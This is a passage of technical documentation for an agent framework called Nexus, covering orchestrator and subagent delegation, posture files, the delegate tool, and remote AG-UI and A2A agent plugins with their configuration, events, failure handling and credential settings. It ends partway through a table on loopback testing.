- nexus.agent.react
- nexus.agent.subagent
- nexus.memory.capped
nexus.agent.react:
max_iterations: 10
system_prompt: "You can delegate research tasks using the spawn_subagent tool."
nexus.agent.subagent:
max_iterations: 10
system_prompt: "Take in the user input and summarize the problem."
Orchestrator
The orchestrator implements a manager-worker pattern. It uses an LLM to decompose complex tasks into subtasks, then dispatches them to parallel subagent workers. Results are synthesized into a final response.
Details
| ID | nexus.agent.orchestrator |
| Dependencies | nexus.agent.subagent |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
max_workers | int | 5 | Maximum concurrent subagent workers |
max_subtasks | int | 8 | Maximum number of subtasks to decompose into |
worker_max_iterations | int | 10 | Max iterations per worker subagent |
orchestrator_model_role | string | reasoning | Model for task decomposition |
worker_model_role | string | balanced | Model for worker execution |
synthesis_model_role | string | balanced | Model for result synthesis |
fail_fast | bool | false | Stop all workers if one fails |
system_prompt | string | (none) | System prompt for the orchestrator |
system_prompt_file | string | (none) | Path to system prompt file |
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
io.input | 50 | Receives user tasks |
tool.result | 50 | Tool results during decomposition |
llm.response / llm.stream.* | 50 | LLM responses |
skill.loaded | 50 | Skill content |
tool.register | 50 | Tool discovery |
subagent.started | 50 | Worker started notification |
subagent.iteration | 50 | Worker progress |
subagent.complete | 50 | Worker finished |
cancel.active / cancel.resume | 5 | Cancellation |
memory.compacted | 50 | History compaction |
Emits
| Event | When |
|---|---|
llm.request | Decomposition and synthesis LLM calls |
before:tool.invoke / tool.invoke | Tool invocation |
before:tool.result | Before tool result propagation (vetoable) |
thinking.step | Decomposition and synthesis reasoning |
io.status | Phase transitions |
agent.turn.start / agent.turn.end | Turn boundaries |
Phases
stateDiagram-v2
direction LR
[*] --> idle
idle --> decomposing: agent.turn.start
decomposing --> dispatching: subtasks ready
dispatching --> executing: workers spawned
executing --> executing: subtask completed
executing --> synthesizing: all subtasks done
synthesizing --> idle: agent.turn.end
idle --> [*]
note right of decomposing
orchestrator LLM
breaks task into
subtasks
end note
note right of executing
parallel workers
respect max_workers
end note
- Decomposing — The orchestrator LLM breaks the task into subtasks with descriptions and optional dependencies
- Dispatching — Subtasks are queued and sent to subagent workers (respecting
max_workersconcurrency) - Executing — Workers run in parallel; the orchestrator tracks progress and collects results
- Synthesizing — All results are gathered and the synthesis LLM produces a unified response
Subtask Dependencies
The orchestrator can recognize dependencies between subtasks. Dependent subtasks wait until their prerequisites complete before dispatching.
Failure Handling
fail_fast: false(default) — Other workers continue even if one fails. Failed results are included in synthesis.fail_fast: true— All remaining workers are cancelled when any worker fails.
Session Context in Prompts
Both the per-worker system prompt (dispatching) and the synthesis system
prompt get a <session_context> section: the current session’s
general-namespace (non-_-prefixed) tags, rendered fresh for each build and
omitted entirely when none are set. See Prompt Registry → Agent-Level
Semantic Tags and
Session Tags for what populates it and
why the reserved namespace never reaches either prompt.
Example Configuration
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.orchestrator
- nexus.agent.subagent
- nexus.agent.react
- nexus.tool.shell
- nexus.tool.file
- nexus.memory.capped
- nexus.control.cancel
nexus.agent.orchestrator:
max_workers: 3
max_subtasks: 6
orchestrator_model_role: reasoning
worker_model_role: balanced
synthesis_model_role: balanced
fail_fast: false
nexus.agent.subagent:
max_iterations: 10
When to Use
The orchestrator is ideal for:
- Complex tasks that naturally decompose into independent subtasks
- Research across multiple topics that can be explored in parallel
- Code analysis across multiple files or modules simultaneously
- Any task where parallel execution significantly reduces total time
Posture Registry (nexus.agent.postures)
Loads AgentPosture YAML files from disk and exposes the posture.registry
capability that nexus.agent.delegate consumes. fsnotify watches every
configured directory for live edits; active sub-sessions keep their old
posture, new invocations resolve the new one.
See the Postures architecture page for the full conceptual model and delegation for how the registry is consumed.
Details
| ID | nexus.agent.postures |
| Capability | posture.registry |
| Dependencies | (none) |
| Requires | (none) |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
scan_dirs | []string | [] | Directories scanned for *.yaml / *.yml posture files. Paths run through engine.ExpandPath (supports ~). |
debounce_ms | int | 250 | fsnotify reload debounce in milliseconds. |
If scan_dirs is empty, no postures load; the plugin still advertises the
capability so nexus.agent.delegate boots cleanly (delegate calls will
fail with posture: not found).
Posture YAML
Each file in a scan dir is parsed as a single AgentPosture. The filename
(minus extension) supplies the name if the YAML omits one.
name: analyst
description: deep reader; quotes sources verbatim
system_prompt: |
You are a careful analyst. Cite sources by URL. Be concise.
allowed_tools:
- web_search
- web_fetch
- read_pdf
model:
model_role: reasoning
max_tokens: 4000
default_budget:
timeout: 60s
max_tokens: 50000
max_tool_calls: 20
max_recursion_depth: 2
A 16-character content hash lands on Version, included automatically in
delegate cache keys so any edit invalidates stale entries.
Events
Emits
| Event | When |
|---|---|
posture.registered | A posture loads (initial scan) or reloads (watcher fire). |
posture.removed | A posture file is deleted or fails to parse after an edit. |
See events reference for payload shape.
Subscribes To
None.
Example
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.agent.postures
- nexus.agent.delegate
- nexus.memory.capped
nexus.agent.postures:
scan_dirs:
- ~/.nexus/postures
- ./configs/postures
debounce_ms: 250
Delegate (nexus.agent.delegate)
Exposes the delegate tool — the LLM-facing surface of the
sub-agent delegation primitive. A parent
agent picks a registered posture by name; the runtime spawns
an isolated sub-session with its own envelope identity, runs the LLM loop
filtered to the posture’s AllowedTools, and enforces the posture’s
DefaultBudget with optional per-call overrides.
Details
| ID | nexus.agent.delegate |
| Dependencies | (none) |
| Requires | Capability posture.registry (typically nexus.agent.postures) |
Configuration
| Key | Type | Default | Description |
|---|---|---|---|
max_depth | int | 3 | Hard cap on sub-agent recursion depth across all postures. Individual postures may tighten with max_recursion_depth. |
cache_size | int | 256 | Capacity of the in-process LRU result cache (entries, not bytes). Zero disables eviction. |
cache | bool | true | Set false to disable result caching entirely. |
Tool definition
The plugin registers a single tool, delegate, with these parameters:
| Parameter | Type | Required | Description |
|---|---|---|---|
posture | string | yes | Registered AgentPosture name. |
task | string | yes | Natural-language description of what the sub-agent should accomplish. |
context | object | no | Structured context the sub-agent receives alongside the task. Serialized into the initial user message under <delegate_context>. |
max_tokens | int | no | Override the posture’s default token budget for this call. |
max_tool_calls | int | no | Override the posture’s default tool-call budget. |
timeout_seconds | int | no | Override the posture’s default timeout. |
The tool’s JSON output is a delegate.Output:
{
"Result": "...",
"Status": "success", // success | partial | error | timeout | cancelled | cache_hit
"Error": "",
"TokensUsed": 1832,
"ToolCallsUsed": 4,
"Elapsed": 8421000000,
"SubSessionID": "abcd...",
"PostureName": "analyst",
"PostureVer": "a1b2c3d4e5f6...",
"Depth": 1
}
The parent agent branches on Status to decide whether to retry with a
larger budget, fall back to handling the task itself, or surface the
partial result.
Events
Subscribes To
| Event | Priority | Purpose |
|---|---|---|
tool.invoke | 50 | Handle invocations of the delegate tool. |
tool.register | (default) | Build the snapshot of catalog tools so the runtime can filter to the posture’s AllowedTools. |
Emits
| Event | When |
|---|---|
tool.register | Registers the delegate tool at boot. |
delegate.start | A sub-session is about to begin. |
delegate.complete | A sub-session has finished. |
llm.request / before:llm.request | Per LLM iteration inside the sub-session. |
tool.invoke / before:tool.invoke | Per tool call the sub-agent dispatches. |
tool.result / before:tool.result | The final response to the parent agent. |
See delegate events for
delegate.start / delegate.complete payload shape.
Example
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.agent.postures
- nexus.agent.delegate
- nexus.tool.web
- nexus.memory.capped
nexus.agent.postures:
scan_dirs:
- ~/.nexus/postures
nexus.agent.delegate:
max_depth: 3
cache_size: 512
nexus.agent.react:
system_prompt: |
When a task benefits from a different reasoning style or a restricted
tool surface, call the delegate tool with the appropriate posture
(analyst, summarizer, auditor, ...).
Causation
Every event emitted from inside a sub-session carries the sub-agent’s
AgentID (delegate/<posture>/<sub_session_id>) and Depth on
Event.Causation. The replay primitive and observability tooling use
this to attribute work to the right specialist.
Remote AG-UI Agents (nexus.agent.agui_remote)
The consume side of Nexus’s AG-UI integration. Where
nexus.io.agui serves a Nexus agent over the AG-UI wire,
nexus.agent.agui_remote lets a Nexus agent call a remote AG-UI agent — any
service that speaks the AG-UI protocol, including another Nexus instance running
nexus.io.agui — as if it were a local delegate.
Each configured remote agent is registered as an LLM-facing tool (default name
delegate_agui_<name>). When the parent agent calls it, the plugin builds an
AG-UI RunAgentInput from the delegated task, streams the remote run over the
AG-UI wire (HTTP POST + SSE) via the reusable AG-UI client, maps the remote
run’s event stream back onto the Nexus bus, and returns the remote run’s
terminal outcome as the tool.result the parent expects.
From the parent agent’s perspective a remote AG-UI call is a single tool call,
exactly like the local delegate and subagent
primitives — the transport just happens to be the AG-UI wire instead of an
in-process sub-session.
Details
| ID | nexus.agent.agui_remote |
| Dependencies | (none) |
| Requires | (none) |
| Source | plugins/agents/aguiremote/plugin.go |
Configuration
The full, authoritative key list lives in the configuration reference. In brief:
| Key | Type | Default | Description |
|---|---|---|---|
agents | list | (required) | Non-empty list of remote AG-UI agents to expose. Each entry is a mapping (see below). |
timeout_seconds | int | 120 | Default per-call timeout (seconds). Overridable per agent and per call. |
cache_size | int | 128 | Capacity of the in-process LRU result cache (entries). Zero disables eviction. |
cache | bool | true | Set false to disable result caching entirely. |
Each agents[] entry:
| Key | Type | Default | Description |
|---|---|---|---|
name | string | (required) | Human-friendly identifier; used to derive the default tool name. |
endpoint | string | (required) | Full AG-UI POST endpoint URL (e.g. https://host/agui). |
tool_name | string | delegate_agui_<name> | Override the LLM-facing tool name. |
description | string | (auto) | Override the tool description shown to the LLM. |
bearer_token | string | (none) | Static bearer token for the Authorization header. Prefer bearer_token_env. |
bearer_token_env | string | (none) | Name of an environment variable holding the bearer token. Read at Init. |
timeout_seconds | int | (plugin default) | Per-agent default timeout, overriding the plugin-level value. |
Authentication
Secrets never live in config files: prefer bearer_token_env and point it at an
environment variable. When set, the client sends Authorization: Bearer <token>
on the POST that opens the remote run — matching the bearer auth
nexus.io.agui enforces on the serve side. bearer_token (an
inline literal) is supported for quick local testing but is only used when
bearer_token_env is unset.
Tool definition
Each remote agent registers one tool. The default name is
delegate_agui_<name> (the name lowercased with non-alphanumeric runs
collapsed to _); override it with tool_name.
| Parameter | Type | Required | Description |
|---|---|---|---|
task | string | yes | Natural-language description of what the remote agent should accomplish. |
context | object | no | Structured context passed alongside the task. Serialized into the initial user message under an XML <delegate_context> boundary. |
timeout_seconds | int | no | Override the remote agent’s default timeout for this call. |
Event & result mapping
While the remote run streams, the plugin translates the incoming AG-UI events onto the caller’s bus so local observers (journal, TUI, observability) see the remote work as a sub-run:
| Remote AG-UI event | Mapped Nexus event |
|---|---|
TextMessageContent / TextMessageChunk | io.output (role assistant) — streamed text deltas |
TextMessageEnd | subagent.iteration — a message boundary |
ToolCallStart / ToolCallArgs / ToolCallEnd | accumulated into a subagent.iteration with the tool call |
| (run begins) | subagent.started |
| (run ends) | subagent.complete — carries the terminal result or error |
The terminal outcome — accumulated text deltas, or the RunFinished result
payload when the remote streamed no text — becomes the tool.result Output
returned to the parent agent. The whole tool.result passes through the
vetoable before:tool.result gate first.
Every mapped event carries the remote sub-run’s causation identity
(AgentID = agui_remote/<name>/<spawn_id>, Depth = parent + 1), so remote
work slots into the causation tree beneath the caller just like a local
delegate.
Failure behavior
All failure modes surface as a clean tool error (tool.result.Error) — never
a hang or panic — and are mirrored on subagent.complete.Error:
| Condition | Result |
|---|---|
Remote emits RunError | remote agui run error: <code>: <message> |
| Transport error / endpoint unreachable | remote agui transport error: ... |
| Stream read error mid-run | remote agui stream error: ... |
Non-2xx rejection (e.g. 401 from bearer auth) | remote agui rejected request: HTTP <code> |
| Per-call timeout elapses | context-deadline error surfaced as a stream/transport error |
| Remote interrupts awaiting input | remote agui agent interrupted awaiting input: <prompt> (a one-shot delegate cannot resolve a remote HITL interrupt) |
| Remote run cancelled | remote agui run cancelled |
The parent agent’s loop consumes the error tool.result and continues normally,
so a flaky or unreachable remote never stalls the caller.
Caching
Identical calls replay from an in-process LRU keyed by
endpoint + task + canonicalized context (mirroring the local delegate
cache), so repeated delegations do not re-hit the remote endpoint. A cache hit
still emits a subagent.started / subagent.complete pair so observers see the
call. Errors are never cached. Set cache: false to disable.
Example
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.agent.agui_remote
- nexus.memory.capped
nexus.agent.agui_remote:
timeout_seconds: 90
agents:
- name: researcher
endpoint: https://research.internal/agui
bearer_token_env: RESEARCH_AGUI_TOKEN
description: A specialist research agent reachable over AG-UI.
- name: legal
endpoint: https://legal.internal/agui
tool_name: ask_legal
nexus.agent.react:
system_prompt: |
When a task needs specialist knowledge, delegate it: call
delegate_agui_researcher for research questions or ask_legal for
legal review. Pass a clear task and any relevant context.
Loopback (serve ↔ consume)
Because nexus.io.agui speaks the same AG-UI wire, you can
point nexus.agent.agui_remote at another Nexus instance’s serve endpoint. This
loopback topology is the cheapest faithful end-to-end proof of the consume path
and is exactly what the integration test
(tests/integration/agui_consume_test.go) exercises: a caller engine delegates
to a loopback nexus.io.agui serve engine and receives the remote agent’s
result back as a tool.result.
See also
- AG-UI Serve (
nexus.io.agui) — the serve side of the same wire. - Delegate / Subagent — the local sub-agent primitives this mirrors.
- Sub-agent delegation — the shared delegation model.
Remote A2A Agents (nexus.agent.a2a_remote)
The outbound side of Nexus’s Agent2Agent integration.
Where nexus.io.a2a serves a Nexus instance as an A2A agent,
nexus.agent.a2a_remote lets a Nexus agent call remote A2A agents — any
service that speaks A2A, including another Nexus instance running
nexus.io.a2a.
Each configured remote is registered as an LLM-facing tool (default
delegate_a2a_<name>). When the parent agent calls it, the plugin resolves the
remote’s Agent Card, sends the delegated task over the A2A wire through
pkg/a2a/a2aclient, and folds the remote task’s final text and artifacts back
into the tool.result the parent expects.
From the parent agent’s perspective a remote A2A call is a single tool call,
exactly like the local delegate and
agui_remote primitives — the transport just happens to be
the A2A wire.
Details
| ID | nexus.agent.a2a_remote |
| Dependencies | (none) |
| Requires | posture.registry (optional) |
| Source | plugins/agents/a2aremote/ |
posture.registry is optional here, unlike on delegate: a
posture is one way to bound a remote and the plugin is fully usable without one.
A remote that names a posture with no registry active fails that call, with
an error naming the plugin to activate — it does not fail boot.
Configuration
The full, authoritative key list lives in the configuration reference. In brief:
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.agent.a2a_remote
- nexus.memory.capped
nexus.agent.a2a_remote:
timeout: 3m
hitl:
input_timeout: 10m
max_rounds: 3
agents:
- name: researcher
base_url: https://research.internal
description: A specialist research agent reachable over A2A.
- name: legal
base_url: https://legal.internal
tool_name: ask_legal
stream: false
timeout: 30s
progress: false
hitl:
enabled: false
Every transport key (binding, stream, the four timeouts, retry,
extensions, validate_card, progress, hitl) exists at both levels: at the
plugin level as a default and inside an agents[] entry as an override. The
hitl block inherits key by key, so an agent that sets only enabled keeps the
plugin-level input_timeout and max_rounds.
base_url, not an endpoint
base_url is the origin (plus optional path prefix) the remote agent is
served under, not an operation URL. The Agent Card is fetched from
/.well-known/agent-card.json beneath it and names the per-binding endpoints, so
an operator configures one URL rather than one URL per binding.
An operator who was handed a card out of band, or who knows the endpoint
outright, pins it with jsonrpc_endpoint or rest_endpoint, which skips
discovery for that binding entirely.
Model-supplied URLs are out of scope
The tool schema exposes no url, endpoint or host parameter, and must
not grow one. Which remotes this instance can reach is an operator decision: a
model-chosen address is a server-side request forgery surface and an unbounded
spend surface at the same time, and neither is worth the flexibility.
Discovery is lazy
A remote agent is somebody else’s process. Its Agent Card is therefore fetched on
first use, never during Ready():
- A remote that is down — restarting, not deployed yet, behind a VPN nobody has connected to — cannot fail this instance’s startup.
- Until the card resolves, the tool carries the configured
description, or a generic one naming the agent and saying the remote has not been contacted. - The first successful call rebuilds the description from the card’s own
name,version,descriptionandskills, and re-registers the tool once. The tool catalog replaces an entry registered under an existing name, so this is an update rather than a duplicate. a2aclientcaches a card only on success, so a remote that comes up later resolves on the next call with no retry logic here.
Tool definition
| Parameter | Type | Required | Description |
|---|---|---|---|
task | string | yes | Natural-language description of what the remote agent should accomplish. The remote does not see the caller’s conversation, so the task must stand alone. |
context | object | no | Structured context passed alongside the task, serialized into the outbound message under an XML <delegate_context> boundary. |
timeout_seconds | int | no | Override this call’s time budget. |
Budgets and depth
An agents[] entry may name a posture, in which case the registered
AgentPosture bounds the call the same way it bounds a local
delegate.
Only two of a posture’s dimensions cross an A2A boundary:
| Posture field | Effect |
|---|---|
default_budget.timeout | The call’s whole-run deadline. |
max_recursion_depth | Narrows the plugin-level max_depth for this remote. |
default_budget.max_tokens | Refused. |
default_budget.max_tool_calls | Refused. |
The remote runs its own loop under its own budget; A2A gives a client no say over its token or tool-call spend. A posture that sets either is refused with an error naming the key rather than silently half-honoured — accepting a budget that cannot be enforced would be the worse failure.
Timeout precedence, first match wins:
- the tool’s
timeout_secondsargument - the posture’s
default_budget.timeout - the
timeoutkey (agent-level, else plugin-level) - the
5mbuilt-in default
Delegation depth rides the bus’s causation stack, so a remote call slots beneath its caller in the causation tree exactly as a local delegate does.
The result the model sees
A2A splits an answer between the terminal status message and the task’s artifacts (§3.7), and a remote is free to put its whole answer in either. Both are folded into one XML-tagged document, per the house convention for prompt-injected content:
<remote_agent name="researcher" state="TASK_STATE_COMPLETED" task_id="t-1" context_id="c-1">
<final_response>
<![CDATA[the agent's closing summary]]>
</final_response>
<artifacts count="2">
<artifact id="turn-answer" name="answer">
<text media_type="text/plain">
<![CDATA[the answer text]]>
</text>
</artifact>
<artifact id="tool-1" name="web_search result">
<data media_type="application/json">
<![CDATA[{ "hits": 3 }]]>
</data>
</artifact>
</artifacts>
</remote_agent>
- Remote-authored text rides in
CDATA, and a remote-supplied]]>is split across two sections, so a remote cannot break the framing the model reads. - Binary (
raw) and external (url) parts are described, not inlined:<binary bytes="9182" media_type="application/pdf" filename="report.pdf"/>. Base64 in a prompt costs tokens and tells the model nothing it can use. - An oversized part is truncated at 16 KiB and marked
truncated="true"with itsoriginal_bytes, so the model can tell a fragment from a whole document. - Parts carrying Nexus extension telemetry are dropped: they are observability, not output.
Event mapping
| Point | Emitted |
|---|---|
Ready(), and once per remote after its card resolves | tool.register |
| Call starts (including a cache hit) | subagent.started |
| Remote narrates on a non-terminal status message | io.output (under the delegated run’s own turn id, a2a_remote_<spawn>) |
| Remote reports a tool call or subagent progress via the Nexus extension | subagent.iteration |
Remote parks at INPUT_REQUIRED | before:hitl.requested (vetoable), then hitl.requested |
| A question is abandoned or the turn is cancelled | hitl.cancel |
| Call ends | subagent.complete — carries the folded result or the error |
| Result published | before:tool.result (vetoable), then tool.result |
Subscriptions: tool.invoke, hitl.responded (the human’s answer, from
whichever transport rendered the question) and cancel.active.
hitl.responded is conspicuously absent from the emissions and must stay
absent — this plugin asks questions and waits, it never answers one. The contract
test asserts it.
Live progress
A delegated call takes as long as the remote’s work does. Without republishing,
the only thing a local transport sees is a subagent.started, a long silence and
a subagent.complete — an operator cannot tell a remote that is working from one
that has hung, and the browser, AG-UI and A2A-serve transports have nothing to
render either.
So each frame the remote streams is mapped onto the bus as it arrives, following
the agui_remote precedent:
| Frame | Republished as | Why |
|---|---|---|
| Non-terminal status update carrying a message | io.output | A2A’s own extension-free progress channel (§3.1.1): the remote narrating. |
Nexus extension tool_call telemetry | subagent.iteration with the call | The remote’s own tool use, which A2A has no canonical field for. |
Nexus extension subagent telemetry | subagent.iteration with the phase and detail | The remote’s own delegations. |
| Artifact frames | (nothing) | An artifact is output, and all of it is folded into the tool result. Emitting it twice would put the remote’s answer in the local conversation before the delegating agent had decided what to do with it. |
| Terminal status message | (nothing) | That is the answer, and it rides in the tool result. |
INPUT_REQUIRED status message | (nothing) | That is a question for a human, not progress — see below. |
Nexus extension thinking / usage telemetry | (nothing) | Reasoning belongs in the remote’s transcript; tokens are the remote’s spend under the remote’s budget. Surfacing either locally would misattribute it. |
Because the tool-call and subagent rows depend on the Nexus extension, the
extensions key defaults to the Nexus extension URI. A remote that has never
heard of it answers exactly as it would have (§8.4 requires a server to activate
only extensions it recognizes, and this one declares itself optional); a remote
Nexus instance answers with the telemetry that makes the table above useful. Set
extensions: [] to send none.
Set progress: false (plugin-wide or per agent) to silence the republishing for
a chatty remote. Task identity is still tracked, so cancellation and resumption
are unaffected.
Chained human-in-the-loop
When a remote parks its task at TASK_STATE_INPUT_REQUIRED, the question travels
on the status message (§3.1.1) and the task stays live. A2A has no resume
operation: the task is continued by sending an ordinary message carrying the
same taskId and contextId (§3.4), and that identity is what makes the
message a continuation rather than a new conversation.
remote parks at INPUT_REQUIRED
-> before:hitl.requested (vetoable) -> hitl.requested
-> [ a human answers, via any transport ] -> hitl.responded
-> SendStreamingMessage with the SAME taskId + contextId
-> remote continues to a terminal state
The delegating model never sees the question. That is the point. A question a remote agent cannot answer for itself is almost always one only a person can settle — which deployment, which fiscal year, whose budget — and handing it to the model that asked for the delegation invites it to invent an answer and then act on it. There is no code path that gives the model one.
nexus.control.hitl is reached only over the bus, exactly as the approval
gates and memory plugins reach it. It need not even be active: any transport that
renders hitl.requested and answers with hitl.responded serves.
It composes. A Nexus instance serving over nexus.io.a2a
turns its own hitl.requested into an INPUT_REQUIRED status; this plugin turns
an inbound INPUT_REQUIRED into a local hitl.requested. Chain two of them and a
question raised two hops down arrives in front of the human at the top, each hop
resuming its own task under its own taskId.
Deadlines while parked
Two run concurrently and the earlier one wins.
| Deadline | Default | What it bounds |
|---|---|---|
timeout (the whole-call budget) | 5m | The entire delegation. It keeps running while the task is parked — a remote waiting on a human is still work this session authorized. |
hitl.input_timeout | 15m | One question waiting on a human. The outbound twin of nexus.io.a2a’s tasks.input_timeout. |
With the defaults the call budget expires first, which makes input_timeout
the looser of the two; raise timeout for a remote you expect to ask questions.
Whichever fires:
- the question is retracted with
hitl.cancel, so no stale prompt is left in a UI or in the hitl registry’s on-disk queue; - the remote task is cancelled with
CancelTask, so nobody is left working for a caller that has gone away; - the delegation ends as a clean tool error naming which deadline fired, carrying the question, and telling the model explicitly not to answer it.
hitl.max_rounds (default 4) bounds a remote that answers every answer with
another question; 0 removes the cap and leaves the call budget as the only one.
Chaining works on both bindings
A2A leaves it to the server whether an INPUT_REQUIRED park closes the SSE
stream or holds it open, and both readings are legal — nexus.io.a2a
holds it open, with keep-alive comments and no terminal frame. Either way the
question is carried by the interruption frame, never by the stream ending,
so this plugin stops reading the moment it sees one and resumes on a fresh
connection (§3.4). Chaining therefore works at the shipped default,
stream: true, and there is no reason to drop to stream: false for a remote
that asks questions — doing so only costs you live progress,
since a blocking call has no frames to republish.
The one interrupted frame that is not a new question is the opening snapshot of a continuation: a server answering a resuming message opens on the task as it stands, which is the very park being answered. That frame is skipped, so a human is never re-asked the question they just answered.
tests/integration/a2a_loopback_test.go pins the Nexus→Nexus shape end to end,
streaming included.
AUTH_REQUIRED is not routed to a human. The remote is asking for a
credential, and no answer a person types is one — the fix is a credentials
block, and the tool error says so.
Outcomes a human answered for are never cached: a person’s answer is a decision made at a moment, and replaying it for a later identical task would apply that decision again without asking.
Cancellation
cancel.active — the event nexus.control.cancel emits once a cancellation is
actually happening, and the same one the LLM providers abort on — propagates to
every remote in flight:
- any question this delegation put in front of a human is retracted with
hitl.cancel; CancelTask(§3.3) is issued for every remote task whose id is known;- the call’s context is cancelled, so the stream reader unblocks and the tool result is published as a cancellation rather than a hang.
The same abandonment runs on the ordinary exits — an exhausted budget, a broken stream, an unanswered question, engine shutdown. The rule is one sentence: if this instance walks away from a remote task that has not reached a terminal state, it tells the remote. A task that already finished is left alone.
Failure behavior
Every failure surfaces as a clean tool.result error carrying a sentence the
calling model can act on, alongside whatever partial output did arrive. None of
them is an engine-level failure, and the parent agent’s loop continues normally.
| Condition | What the model is told |
|---|---|
| Agent Card unreachable / non-2xx | “the agent is unreachable — its agent card at <url> could not be fetched … The remote may be down; try again later or proceed without it.” |
| Agent Card unparseable or non-conformant | “the agent card … is not usable … This is a misconfiguration on the remote, not something retrying will fix.” |
| Card exposes no interface for the configured binding | “the agent does not expose the <binding> binding this instance is configured for” |
Stream goes silent past stream_idle_timeout | “the agent went silent mid-run … Any output above is partial.” |
Stream never opens past stream_open_timeout | “the agent did not accept the streaming request in time.” |
| Stream ends before a terminal state | “the agent closed the stream … without finishing its task. Any output above is partial.” |
| Malformed / non-conformant frames | “the agent sent a response this client cannot read … a defect in the remote” |
| A2A protocol error from the remote | “the agent refused the request (<ErrorType>): …” |
HTTP 401/403 | “The credentials this instance presents are not accepted; an operator must fix the configuration.” — when the remote reports the refusal as an HTTP status. A remote that answers a refusal inside a JSON-RPC error envelope instead (which nexus.io.a2a does) surfaces as the protocol-error row above; either way the delegation fails cleanly and the message names the refusal. |
HTTP 429 / 5xx | “The agent is rate limiting / failing on its side; try again later.” |
| Whole-call budget exhausted | “the agent did not finish within the <budget> budget for this call. Any output above is partial.” |
Task ends FAILED / REJECTED | “ended its task in state TASK_STATE_FAILED: <the remote's explanation>” |
Task ends CANCELED | “cancelled its task” |
Task parks at INPUT_REQUIRED, chaining off | “paused … and is waiting for input: <the question>. Re-delegate with the answer included in the task.” |
Task parks at INPUT_REQUIRED, question unanswered | “asked a question and no answer arrived within <deadline> … It was put to a human and is unanswered — do NOT answer it on their behalf.” |
Task parks at INPUT_REQUIRED, question declined | “asked a question and it was declined: <the human's reason> … do NOT answer it on their behalf.” |
Remote asks more than hitl.max_rounds times | “asked for input <n> times in one delegation, which is the configured limit … Try a more specific task, or raise hitl.max_rounds.” |
Task parks at AUTH_REQUIRED | “it needs credentials this instance did not present … An operator must configure this agent’s credentials; retrying will not fix it.” |
| Delegation depth cap reached | “delegation depth limit reached … Answer from what you already have, or delegate from a shallower point.” |
| Named posture missing or unenforceable | An error naming the posture and the key at fault. |
Caching
Identical calls replay from a bounded in-process LRU keyed by a content hash of
the remote’s identity, the posture version, the task, and the canonicalized
context — mirroring the local delegate cache, so a posture edit
invalidates stale entries.
Only successes are cached, and only ones no human answered for. A failed outcome is never stored, so a remote that was briefly down, rate limited or mid-deploy is genuinely retried on the next call rather than answering from a cached failure until the process restarts. A delegation a human answered a question for is not stored either — see Chained human-in-the-loop.
A cache hit still emits the subagent.started / subagent.complete pair so
observers see the call. Set cache: false to disable, cache_size: 0 to disable
eviction.
Credentials
Each remote names the credential this instance presents to it in its own
credentials: block. Four types are supported — none, bearer,
oauth2_client_credentials and mtls — and the full key list is in the
configuration reference.
nexus.agent.a2a_remote:
agents:
# An open endpoint: a loopback peer, a development agent.
- name: local_peer
base_url: http://127.0.0.1:8091
# A static token, the same api_key / api_key_env shape the LLM
# providers use.
- name: researcher
base_url: https://research.internal
credentials:
type: bearer
token_env: RESEARCH_AGENT_TOKEN
# Machine-to-machine OAuth2. token_url is optional: it is discovered
# from the remote's own card on first use.
- name: legal
base_url: https://legal.internal
credentials:
type: oauth2_client_credentials
client_id_env: LEGAL_CLIENT_ID
client_secret_env: LEGAL_CLIENT_SECRET
scopes: [a2a.invoke]
# Client-certificate authentication. Paths take ~.
- name: finance
base_url: https://finance.internal
credentials:
type: mtls
cert_file: ~/.nexus/certs/finance-client.pem
key_file: ~/.nexus/certs/finance-client-key.pem
ca_file: ~/.nexus/certs/internal-ca.pem
Per remote, never inherited
Unlike every transport key, credentials: exists only inside an agents[]
entry. There is no plugin-level default and there must not be one: a default
credential silently applied to a remote an operator added later is how a token
reaches a host it was never issued for.
Validated at boot, not on first delegation
An unset environment variable, a key belonging to a different type, an
unreadable client certificate, a key that does not match its certificate, an
OAuth2 remote with neither a token_url nor a base_url to discover one from —
each stops the engine at Init with a message naming the agent and the key.
None of them waits to become a 401 the first time a model happens to delegate.
What is not checked at boot is anything only the remote can answer: whether the token is accepted, whether the certificate is trusted, whether the token endpoint exists. Those need the network, and this plugin does not touch the network at boot.
No credential value is ever logged
On any path, including failures. Failure messages name the agent, the key and
the kind of failure and stop there. A token endpoint’s free-text
error_description is dropped wholesale rather than scrubbed — a server is free
to echo the client secret into it — and only the fixed RFC 6749 error code is
reported, which is what an operator actually needs.
OAuth2: one token per burst
The access token is cached and replaced refresh_leeway (default 30s) ahead
of its stated expiry. A fetch is single-flight: a model that fans out
produces a burst of tool calls that all reach the credential source within
microseconds, and an authorization server answers a burst of identical grants
with a 429. The first caller fetches; the rest wait on it and share the
result, including a failure, so a token endpoint that is down is hit once per
burst rather than once per call.
When token_url is discovered from the card rather than configured, exactly one
request necessarily precedes the token: the well-known Agent Card fetch, which
goes out unauthenticated. Specification §8.2 makes that document public. A
remote that protects its card wants token_url set explicitly, and the 401 it
answers with says so.
Card mismatch is a warning, not a refusal
On the first call to a remote — never at boot, since
the card is fetched lazily — the configured credential is
compared against the card’s securitySchemes. An obvious mismatch, such as a
bearer token against a card declaring only mutualTls, logs one warning naming
the schemes the card declares; a remote that declares schemes while this
instance sends nothing logs one too.
It warns rather than refuses because a card’s securitySchemes block is
optional and routinely incomplete — a remote behind a gateway that terminates
mTLS may declare nothing at all — and refusing on that evidence would break
working deployments over a documentation defect. What the warning buys is that
the far more common case, a credential configured against the wrong remote, is
diagnosed in a log line instead of an opaque 401.
Loopback (serve ↔ consume)
Because nexus.io.a2a speaks the same wire, you can point
nexus.agent.a2a_remote at another Nexus instance’s serve endpoint:
nexus.agent.a2a_remote:
agents:
- name: local_peer
base_url: http://127.0.0.1:8091
credentials:
type: bearer
token_env: PEER_A2A_TOKEN
This loopback topology is the cheapest faithful end-to-end proof of the outbound path — one Nexus instance delegating to another over A2A, with no third-party implementation in the test path. It ships as three runnable configs and one integration test:
| File | Role |
|---|---|
